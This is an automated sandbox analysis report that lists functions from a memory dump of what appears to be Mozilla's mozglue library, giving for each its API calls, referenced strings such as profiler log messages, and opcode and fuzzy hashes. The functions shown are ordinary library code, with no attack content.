Opcode Fuzzy Hash: b8d227142e4e6e8a247c84fcb9f5d67f574d72ddecf6d2a8799120c440a58097
Instruction Fuzzy Hash: B5419F716046089FCB14CFAAD88499EB7F9FF49318B50462DF4568BB60DB32E805CF60

Function 6C31BD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C31BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C31BE8F

Strings

$me/, xrefs: 6C31BD57
0, xrefs: 6C31BE5B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: $me/$0
API String ID: 2811501404-1812012662
Opcode ID: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction ID: 046a935cdc82627cc364b7f7d7ce2d27ba26688d921edb3074af09526c046fca
Opcode Fuzzy Hash: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction Fuzzy Hash: E441AFB1909745CFC705CF38D481A9BB7E8AF8A38CF008A1DF9859BB11D731D9598B92

Function 6C34AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C39E3A4,00000000), ref: 6C34AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C39E3B0,00000000), ref: 6C34AFCC

Strings

$me/, xrefs: 6C34AFDA

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: $me/
API String ID: 2450287516-2210144079
Opcode ID: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction ID: a8dad203fb13b76685a421b4c55c7493f1355bc84767d7cfbb8c8abfecfb6230
Opcode Fuzzy Hash: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction Fuzzy Hash: 2511CE72D00B01AADB01DE6988403CE77E8AF02319F158166D961ABB80E6B285459FE1

Function 6C358CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C358D02
moz_xmalloc.MOZGLUE(00000080,?,6C35D9A8), ref: 6C358D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6C35D9A8), ref: 6C358D59

Strings

$me/, xrefs: 6C358CF8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: $me/
API String ID: 3275805834-2210144079
Opcode ID: 0794d918b20512fc84a92e9ec10f051d8d22c4c14b9b7d78600e3c9f18465648
Instruction ID: 40c1c2262501dc8c595ccdde60eb4f64bed5a9b592a5b6353b9d504595e68da5
Opcode Fuzzy Hash: 0794d918b20512fc84a92e9ec10f051d8d22c4c14b9b7d78600e3c9f18465648
Instruction Fuzzy Hash: 6221CF30F007058FDB10DF2AD444AAAB7F9BF99308F10892AE98697700EB71B454CF92

Function 6C37C020 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C37C06F
RtlDuplicateUnicodeString.NTDLL ref: 6C37C0A1
__Init_thread_footer.LIBCMT ref: 6C37C0EE

Strings

$me/, xrefs: 6C37C02F

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentDuplicateInit_thread_footerProcessStringUnicode
String ID: $me/
API String ID: 1247259658-2210144079
Opcode ID: 675c0eb2216985b9ac67b71176d0899b461f39e72fbed9562c4dcfb2d3c77794
Instruction ID: fa41a8ae948652511e2447d5a4ab2f72d9ffc6a1637b84247af0a88f46066cb3
Opcode Fuzzy Hash: 675c0eb2216985b9ac67b71176d0899b461f39e72fbed9562c4dcfb2d3c77794
Instruction Fuzzy Hash: 4021C3716002189FD760DF28EC88BDA77F8EB49358F104129E54587780E736E859CFA5

Function 6C379650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C379675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C37968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6C3796F6

Strings

$me/, xrefs: 6C379663

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: $me/
API String ID: 1331236360-2210144079
Opcode ID: db8ac5d651536ad0f3e555541ca0048b8a50f1bfaccd6e91057b5c6efdd4dd55
Instruction ID: c400b4e5b5a9ad4c8d4d64be1dfabd59ffa11c177424db96adb75983358de7da
Opcode Fuzzy Hash: db8ac5d651536ad0f3e555541ca0048b8a50f1bfaccd6e91057b5c6efdd4dd55
Instruction Fuzzy Hash: 78117F70A00B049BC721DF39D80059BB7F8EF4A325B00C62DE8AAA7740E73591598F96

Function 6C37B4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C320A40), ref: 6C37B52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C320A40), ref: 6C37B556
__Init_thread_footer.LIBCMT ref: 6C37B569

Strings

$me/, xrefs: 6C37B4CB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: $me/
API String ID: 1391590832-2210144079
Opcode ID: 3252ab9fa4202ec0b67dc9c0d107c75ff8109047ccd52b7ff74c6413c7883ac1
Instruction ID: c5befd1cb7abe098dbb6cd184a754cda8bc896bcb9812587d0c3c09cf8e9e0a7
Opcode Fuzzy Hash: 3252ab9fa4202ec0b67dc9c0d107c75ff8109047ccd52b7ff74c6413c7883ac1
Instruction Fuzzy Hash: B3118E71A04605DFCB10DF69D8809AAB7F9FB4D31CB144529E8068B740E337B815CFA5

Function 6C353CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353D19
mozalloc_abort.MOZGLUE(?), ref: 6C353D6C

Strings

$me/, xrefs: 6C353CFE
d, xrefs: 6C353D58

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: $me/$d
API String ID: 3471241338-494491
Opcode ID: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction ID: e7e1e1f0974a36c04f9fe183f3c096032677110d5ae2df241f8e3273ab2b39ed
Opcode Fuzzy Hash: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction Fuzzy Hash: AC11E335E04789DBDB01DF69C8148EDB7B9EF86318B848219EC859B602FB31A594CB90

Function 6C32BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C377A3F), ref: 6C32BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C377A3F), ref: 6C32BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C377A3F), ref: 6C32BF7E

Strings

8l, xrefs: 6C32BF84

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: 8l
API String ID: 4279176481-3353761436
Opcode ID: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction ID: 7a710133e49e0cd48b1874c42906953386d1659909b26628eb2367f35b73730e
Opcode Fuzzy Hash: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction Fuzzy Hash: 75119FB92017448FD729CF1DD599966FBF8FB5A308355885DEA8A8B760C732A804CF90

Function 6C37AE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C37AE85
EnterCriticalSection.KERNEL32(6C39F770,?,6C33C034), ref: 6C37AE96
LeaveCriticalSection.KERNEL32(6C39F770,?,?,?,?,6C33C034), ref: 6C37AEBD

Strings

$me/, xrefs: 6C37AE7B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: $me/
API String ID: 2351996187-2210144079
Opcode ID: f0abcefbb4471208c9f7b209580b138761f3869a9c21c83f46b68154797c7890
Instruction ID: e137f8e63e562377c9b46f2c02aceb7a986758dccd372ac6f9c4f8df2384a163
Opcode Fuzzy Hash: f0abcefbb4471208c9f7b209580b138761f3869a9c21c83f46b68154797c7890
Instruction Fuzzy Hash: EFF062B5E002199BCF109FA9E88995BBBBDFF492597000425E545DB301E732E808CBA1

Function 6C35F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F440
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F44D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F472
GetCurrentThreadId.KERNEL32 ref: 6C35F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F4A8

Part of subcall function 6C35F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561
GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

$me/, xrefs: 6C35F07C, 6C35F1BA, 6C35F32A, 6C35F41A
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_resume, xrefs: 6C35F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: $me/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-677886819
Opcode ID: 5fcad4f9d50ae5533a01230db20dde8a254df20aaf36c0791a882ac2dda3e440
Instruction ID: ea6b1743399a607106d0913cf68c0f464fa16ef2afe569ccfa8849eae14d2f63
Opcode Fuzzy Hash: 5fcad4f9d50ae5533a01230db20dde8a254df20aaf36c0791a882ac2dda3e440
Instruction Fuzzy Hash: 04F09072A10214CBCB10DF69940479977BCEF4E36DF820219ED5197781F7362928CFAA

Function 6C35EF80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EFB0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFBD
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFE1
GetCurrentThreadId.KERNEL32 ref: 6C35EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F000
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F02F

Part of subcall function 6C35F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Strings

$me/, xrefs: 6C35EF8A
[I %d/%d] profiler_pause, xrefs: 6C35F008
[I %d/%d] profiler_stop, xrefs: 6C35EED7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentTimegetenv$ExclusiveLockProcessStampThreadV01@@Value@mozilla@@$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@__getpid
String ID: $me/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 2885066631-3099601689
Opcode ID: 2c87eb34eecd2621ec9ffffc1eaeb7603ce25d339a69091723131e0a1c0f7c49
Instruction ID: ac94b9eb6ecc89b01326ad24025c978eefd87811530434e6e3dfc831df8519eb
Opcode Fuzzy Hash: 2c87eb34eecd2621ec9ffffc1eaeb7603ce25d339a69091723131e0a1c0f7c49
Instruction Fuzzy Hash: 48F09032600205CBDB10DF65D408BA877B8AB4E31DF410119E95147A81FB372568CFA6

Function 6C36CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDA4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D158
Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000098,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDC4

Part of subcall function 6C367480: ReleaseSRWLockExclusive.KERNEL32(?,6C3715FC,?,?,?,?,6C3715FC,?), ref: 6C3674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CECC

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

Part of subcall function 6C35CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C36CEEA,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000), ref: 6C35CB57
Part of subcall function 6C35CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C35CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C36CEEA,?,?), ref: 6C35CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D058

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction ID: 6176eb9548e84f3c8cd6fb33553e2fb518eee23ff8c206739a89d614eea66f9c
Opcode Fuzzy Hash: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction Fuzzy Hash: 45D17F71A04B069FD708CF29D480B99B7E1BF89308F11862DD8998BB15EB71A965CFC1

Function 6C354F70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C35501B
memcpy.VCRUNTIME140(?,?,00000200), ref: 6C35515B

Strings

$me/, xrefs: 6C354F81
..., xrefs: 6C35513A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcpystrlen
String ID: $me/$...
API String ID: 3412268980-64624500
Opcode ID: 8718b75ddab487b6eb6e40c7ca37586461668dfa06f8a25d514011253a50794f
Instruction ID: 6a20efb54fe05e24bce197c2fa27e3939958aa401184506a43dd19d95dc2eea1
Opcode Fuzzy Hash: 8718b75ddab487b6eb6e40c7ca37586461668dfa06f8a25d514011253a50794f
Instruction Fuzzy Hash: D66160706083459FC704CF18D580A8BBBE5AF9930CF44896DE58997751E731E929CF93

Function 6C335C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C335D40
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67
__aulldiv.LIBCMT ref: 6C335DB4
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction ID: 7873bd98e8c6077fb134b0398d8510d679e8348a3171c532755cc48a01b39777
Opcode Fuzzy Hash: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction Fuzzy Hash: 63516F71E002698FDF08CF68C854AAEBBB6FB89304F19861DD855A7750D7326945CFD0

Function 6C324C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C324C2F
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C324C82
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C324C89

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C325749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C3257C5
MOZ_PROFILER_STARTUP, xrefs: 6C3255E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C325511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C325724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C325766
GeckoMain, xrefs: 6C325554, 6C3255D5
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3250F3, 6C325121, 6C32513C
$me/, xrefs: 6C324C0F, 6C32544F
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C3256E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C325791
